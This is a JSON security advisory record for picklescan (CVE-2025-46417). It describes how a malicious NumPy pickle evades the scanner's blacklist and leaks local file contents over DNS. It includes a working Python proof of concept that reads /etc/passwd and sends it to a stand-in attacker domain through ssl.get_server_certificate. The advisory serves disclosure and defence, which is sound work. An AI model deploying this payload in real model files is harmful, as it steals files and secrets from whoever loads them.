{"id":"GHSA-93mv-x874-956g","summary":"Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate","details":"### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan's blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS","aliases":["CVE-2025-46417","PYSEC-2025-34"],"modified":"2026-05-01T04:44:13.827384681Z","published":"2025-04-07T18:52:47Z","database_specific":{"github_reviewed_at":"2025-04-07T18:52:47Z","nvd_published_at":null,"cwe_ids":["CWE-184"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46417"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/pull/40"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml"}],"affected":[{"package":{"name":"picklescan","ecosystem":"PyPI","purl":"pkg:pypi/picklescan"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.25"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-93mv-x874-956g/GHSA-93mv-x874-956g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}